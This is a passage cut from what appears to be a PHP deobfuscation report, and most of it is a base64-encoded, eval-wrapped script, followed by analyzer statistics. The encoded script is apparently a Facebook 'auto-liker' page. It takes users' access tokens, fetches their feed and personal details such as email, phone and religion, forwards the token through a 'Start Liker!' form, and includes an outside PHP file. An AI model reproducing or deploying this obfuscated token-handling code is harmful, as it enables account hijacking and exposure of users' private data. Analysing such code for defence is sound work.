wZV0uJyIgd2lkdGg9IjQwIiBjbGFzcz0icHJvZnBpYyBpbWciIGFsdD0iU0tZUEUiLz48L2E+PC90ZD48dGQgY2xhc3M9ImlucHV0Q2VsbCI+PGlucHV0IGNsYXNzPSJpbnB1dCBjb21wb3NlcklucHV0IGNvbXBvc2VySW5wdXRTbWFsbCBjb21wb3NlcklucHV0V2l0aFBpYyIgaWQ9ImNvbXBvc2VySW5wdXQiIG5hbWU9InRva2VuIiByb3dzPSIyIiBjb2xzPSIxNSIgdmFsdWU9IicuJF9QT1NUWyd0b2tlbiddLiciIHR5cGU9InRleHQiPjwvdGQ+PHRkIGNsYXNzPSJidG5DZWxsIj48aW5wdXQNCnZhbHVlPSJNYXN1ayIgdHlwZT0ic3VibWl0IiBjbGFzcz0iXzU2YnMgXzVvZi0gXzU2YnUiIGRhdGEtc2lnaWw9ImNvbXBvc2VyLQ0Kc3VibWl0Ii8+PC90ZD48L3RyPjwvdGFibGU+DQo8L2Zvcm0+DQoNCjwvZGl2PjwvZGl2PjwvZGl2Pg0KDQonOw0KDQoNCn0NCg0KcHVibGljIGZ1bmN0aW9uIGdldERhdGEoJGFjY2Vzcyl7DQokZmVlZD1qc29uX2RlY29kZSgkdGhpcyAtPiBfcmVxKCdodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS9tZS9mZWVkP2FjY2Vzc190b2tlbj0nLiRhY2Nlc3MuJyZsaW1pdD0xJyksdHJ1ZSk7DQppZihjb3VudCgkZmVlZFtkYXRhXSkgPj0gMSl7DQppbmNsdWRlICgnbW9kaWYyLnBocCcpOw0KJGthbSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdlbW8udHh0Jyk7IA0KJGthbSA9IGV4cGxvZGUoIlxuIiwka2FtKTsNCiRsaW0gPSAka2FtW210X3JhbmQoMCxjb3VudCgka2FtKS0xKV07DQoNCmVjaG8nIDxkaXYgY2xhc3M9ImFjbGIgYXBtIGFidCI+PGltZyBzcmM9IicuJGxpbS4nIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIGNsYXNzPSJsIGltZyIvPiA8c3BhbiBjbGFzcz0ibWZzcyBmY2ciPicuJHNldFsxMV0uJzwvc3Bhbj48L2Rpdj4nOw0KDQpmb3IoJGk9MDskaTxjb3VudCgkZmVlZFtkYXRhXSk7JGkrKyl7DQokdWlkID0gJGZlZWRbZGF0YV1bJGldW2Zyb21dW2lkXTsNCiRuYW1lID0gJGZlZWRbZGF0YV1bJGldW2Zyb21dW25hbWVdOw0KJHR5cGUgPSAkZmVlZFtkYXRhXVskaV1bdHlwZV07DQokbWVzcyA9IHN0cl9yZXBsYWNlKHVybGRlY29kZSgnJTBBJyksJzxici8+JyxodG1sc3BlY2lhbGNoYXJzKCRmZWVkW2RhdGFdWyRpXVttZXNzYWdlXSkpOw0KJGlkID0gJGZlZWRbZGF0YV1bJGldW2lkXTsNCiRwaWMgPSAkZmVlZFtkYXRhXVskaV1bcGljdHVyZV07DQokZmVzPWpzb25fZGVjb2RlKCR0aGlzIC0+IF9yZXEoJ2h0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLycuJGlkLicvbGlrZXM/YWNjZXNzX3Rva2VuPScuJGFjY2Vzcy4nJmxpbWl0PTEwMDAnKSx0cnVlKTsNCmZvcigkeD0xOyR4PD1jb3VudCgkZmVzW2RhdGFdKTskeCsrKXsNCiRmaWxvc29maVtdID0gJGZlc1tkYXRhXVskeC0xXVtpZF07DQp9DQokZmVlZDI9anNvbl9kZWNvZGUoJHRoaXMgLT4gX3JlcSgnaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vbWU/YWNjZXNzX3Rva2VuPScuJGFjY2VzcyksdHJ1ZSk7DQoNCmVjaG8nDQoNCjxkaXYgY2xhc3M9ImFjbGIgYXBtIGFidCIgc3R5bGU9Im1hcmdpbi10b3A6NHB4O21hcmdpbi1sZWZ0OjJweDttYXJnaW4tYm90dG9tOjRweDttYXJnaW4tcmlnaHQ6MnB4OyI+DQo8dGFibGU+DQo8dHI+DQo8dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJhcHMiPg0KPGltZyBzcmM9Imh0dHA6Ly9ncmFwaC5mYWNlYm9vay5jb20vJy4kdWlkLicvcGljdHVyZSIgYWx0PSJGYWNlYm9va2VycyIgLz4NCjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGNsYXNzPSJsIj4NCjxzcGFuIGNsYXNzPSJtZnNzIGZjZyI+IE5hbWUgOiAnLiRuYW1lLic8YnI+DQpJZCA6ICcuJHVpZC4nPGJyPg0KTGluayA6ICcuJGZlZWQyW2xpbmtdLic8YnI+DQpMb2NhdGlvbiA6ICcuJGZlZWQyW2xvY2F0aW9uXVtuYW1lXS4nPGJyPg0KR2VuZGVyIDogJy4kZmVlZDJbZ2VuZGVyXS4nPGJyPg0KUmVsaWdpb24gOiAnLiRmZWVkMltyZWxpZ2lvbl0uJzxicj4NCkVtYWlsIDogJy4kZmVlZDJbZW1haWxdLic8YnI+DQpVc2VybmFtZSA6ICcuJGZlZWQyW3VzZXJuYW1lXS4nPGJyPg0KUGhvbmUgOiAnLiRmZWVkMlttb2JpbGVfcGhvbmVdLicNCjwvc3Bhbj48YnIvPg0KPHNwYW4gY2xhc3M9Im1mc3MgZmNnIj4NCjxhYmJyPg0KJy4kdHlwZS4nDQo8L2FiYnI+DQo8Yj4NCjxzcGFuIGNsYXNzPSJmY2cgbWZzcyI+DQouDQo8L3NwYW4+DQo8L2I+DQo8aW1nIHNyYz0iaHR0cHM6Ly9mYnN0YXRpYy1hLmFrYW1haWhkLm5ldC9yc3JjLnBocC92Mi95di9yLzVTWU9qUzg3NE1rLnBuZyIgd2lkdGg9IjEwIiBoZWlnaHQ9IjExIiBjbGFzcz0iZmVlZEF1ZGllbmNlSWNvbiBpbWciIC8+DQo8L3NwYW4+PC9kaXY+DQo8L2Rpdj48L2Rpdj4nOw0KDQppZigkdHlwZT09J3Bob3RvJyl7DQplY2hvICcNCjxici8+DQo8YnIvPg0KPGJyLz4NCjxpbWcgc3JjPSInLiRwaWMuJyIgYWx0PSIiY2xhc3M9ImltZ0Nyb3AgaW1nIiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtsZWZ0OjA7dG9wOjA7IiAvPg0KPHNwYW4+DQonLiRtZXNzLicNCjwvc3Bhbj4NCic7DQp9ZWxzZXsNCmlmKGNvdW50KCRmaWxvc29maSkgPT0gJzEwMDAnKXsNCmVjaG8gJw0KPGJyLz4NCjxzcGFuPg0KJy4kbWVzcy4nDQo8L3NwYW4+PGJyPg0KPGJyPg0KPHNwYW4gY2xhc3M9Im1mc3MgZmNnIj5MaWtlcyBBbmRhIHN1ZGFoIG1lbmNhcGFpIDEwMDAga2UgYXRhcy48L2ZvbnQ+PC9zcGFuPg0KJzsNCn1lbHNlew0KZWNobyAnDQo8YnIvPg0KPHNwYW4+DQonLiRtZXNzLicNCjwvc3Bhbj48YnI+DQo8YnI+DQo8c3BhbiBjbGFzcz0ibWZzcyBmY2ciPkxpa2VzID0gPGZvbnQgY29sb3I9ImJsdWUiPicuY291bnQoJGZpbG9zb2ZpKS4nPC9mb250Pjwvc3Bhbj4NCic7DQp9DQp9DQplY2hvICcNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxkaXYgY2xhc3M9ImFjbGIgYXBtIGFidCI+PGRpdiBhbGlnbj0icmlnaHQiPg0KPGZvcm0gYWN0aW9uPSJpbmRleC5waHAiIG1ldGhvZD0icG9zdCIvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0iJy4kaWQuJyIvPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iJy4kYWNjZXNzLiciLz48aW5wdXQgbmFtZT0icGFuY2FsIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdGFydCBMaWtlciEiIGNsYXNzPSJidG4gYnRuQyIvPg0KPC9mb3JtPg0KPC9kaXY+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9kaXY+JzsNCn0NCn1lbHNlew0KcHJpbnQgJw0KPGRpdiBpZD0ib2JqZWN0c19jb250YWluZXIiPjxkaXYgY2xhc3M9ImFjeSBhcHMgYWJiIj48c3BhbiBjbGFzcz0ibWZzcyI+ZXJyT3IuLi4gWW91ciBzdGF0dXMgbm90IGZvdW5kDQo8L3NwYW4+PC9kaXY+PC9kaXY+PC9kaXY+DQo8L2Rpdj4nOw0KfQ0KcHJpbnQgJw0KPC9kaXY+DQonOw0KfQ0KDQpwcml2YXRlIGZ1bmN0aW9uIF9yZXEoJHVybCl7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0X2FycmF5KCRjaCxhcnJheSgNCkNVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gNSwNCkNVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwNCkNVUkxPUFRfVVJMID0+ICR1cmwsDQopDQopOw0KJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KcmV0dXJuICRyZXN1bHQ7DQp9DQp9DQo/Pg0KPD9waHAgaW5jbHVkZSAnZGV2YWxvdmVycy5waHAnOw0KDQo='));?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 acabc3fe9e644ab6f63585e4d7aaf172
Eval Count 1
Decode Time 116 ms